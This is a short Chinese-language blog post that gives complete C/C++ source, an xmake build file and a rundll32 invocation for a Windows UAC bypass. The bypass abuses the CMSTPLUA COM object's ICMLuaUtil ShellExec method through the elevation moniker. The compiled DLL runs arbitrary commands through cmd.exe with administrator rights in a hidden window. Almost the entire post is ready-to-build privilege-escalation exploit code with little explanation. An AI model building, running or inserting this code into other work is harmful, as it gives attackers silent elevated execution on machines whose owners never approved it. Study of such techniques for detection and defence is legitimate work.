BypssUAC_com组件CMSTPLUA_ICMLuaUtil接口提权
Dionysen

BypssUAC_com组件CMSTPLUA_ICMLuaUtil接口提权

参考(https://minhangxiaohui.github.io/)

BypassUAC.h

#pragma once
#ifndef _BYPASS_UAC_H_
#define _BYPASS_UAC_H_

#include <Windows.h>
#include <objbase.h>
#include <strsafe.h>

#define CLSID_CMSTPLUA L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define IID_ICMLuaUtil L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"

typedef interface ICMLuaUtil ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {

BEGIN_INTERFACE

HRESULT(STDMETHODCALLTYPE* QueryInterface)(
__RPC__in ICMLuaUtil* This,
__RPC__in REFIID riid,
_COM_Outptr_ void** ppvObject);

ULONG(STDMETHODCALLTYPE* AddRef)(
__RPC__in ICMLuaUtil* This);

ULONG(STDMETHODCALLTYPE* Release)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method1)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method2)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method3)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method4)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method5)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method6)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* ShellExec)(
__RPC__in ICMLuaUtil* This,
_In_ LPCWSTR lpFile,
_In_opt_ LPCWSTR lpParameters,
_In_opt_ LPCWSTR lpDirectory,
_In_ ULONG fMask,
_In_ ULONG nShow
);

HRESULT(STDMETHODCALLTYPE* SetRegistryStringValue)(
__RPC__in ICMLuaUtil* This,
_In_ HKEY hKey,
_In_opt_ LPCTSTR lpSubKey,
_In_opt_ LPCTSTR lpValueName,
_In_ LPCTSTR lpValueString
);

HRESULT(STDMETHODCALLTYPE* Method9)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method10)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method11)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method12)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method13)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method14)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method15)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method16)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method17)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method18)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method19)(
__RPC__in ICMLuaUtil* This);

HRESULT(STDMETHODCALLTYPE* Method20)(
__RPC__in ICMLuaUtil* This);

END_INTERFACE

} *PICMLuaUtilVtbl;

interface ICMLuaUtil
{
CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl;
};


HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID* ppVoid);

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable);


#endif

main.cpp

#include "BypassUAC.h"
#include <string>
#include <vector>

// 将 ANSI string 转换为 wstring
std::wstring StringToWString(const std::string& str) {
if (str.empty()) return std::wstring();
int size_needed = MultiByteToWideChar(CP_ACP, 0, &str[0], (int)str.size(), NULL, 0);
std::wstring wstrTo(size_needed, 0);
MultiByteToWideChar(CP_ACP, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
return wstrTo;
}

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void** ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];

StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintfW(wszMonikerName, sizeof(wszMonikerName) / sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));

bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable, LPWSTR lpwszParameters)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil* CMLuaUtil = NULL;

CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));

if (CMLuaUtil) {
// 使用 lpwszParameters 传递参数
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, lpwszParameters, NULL, 0, SW_HIDE);
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}

if (FAILED(hr) || GetLastError())
{
return FALSE;
}
else {
return TRUE;
}
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

// 导出函数
extern "C" __declspec(dllexport) void CALLBACK Bypass(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
CoInitialize(NULL);

std::string cmdLine;
if (lpszCmdLine != NULL) {
cmdLine = lpszCmdLine;
}

if (cmdLine.empty()) {
CMLuaUtilBypassUAC((LPWSTR)L"cmd.exe", (LPWSTR)L"/k echo Administrator CMD");
}
else {
std::wstring wInput = StringToWString(cmdLine);
std::wstring params = L"/c ";
params += wInput;
CMLuaUtilBypassUAC((LPWSTR)L"cmd.exe", (LPWSTR)params.c_str());
}

CoUninitialize();
}

xmake.lua

target("bypassUAC")
set_kind("shared")
add_files("BypassUAC/**.cpp")
add_includedirs("BypassUAC")
add_syslinks("ole32", "user32")

编译为dll,运行命令:

rundll32.exe bypassUAC.dll,Bypass ls
显示评论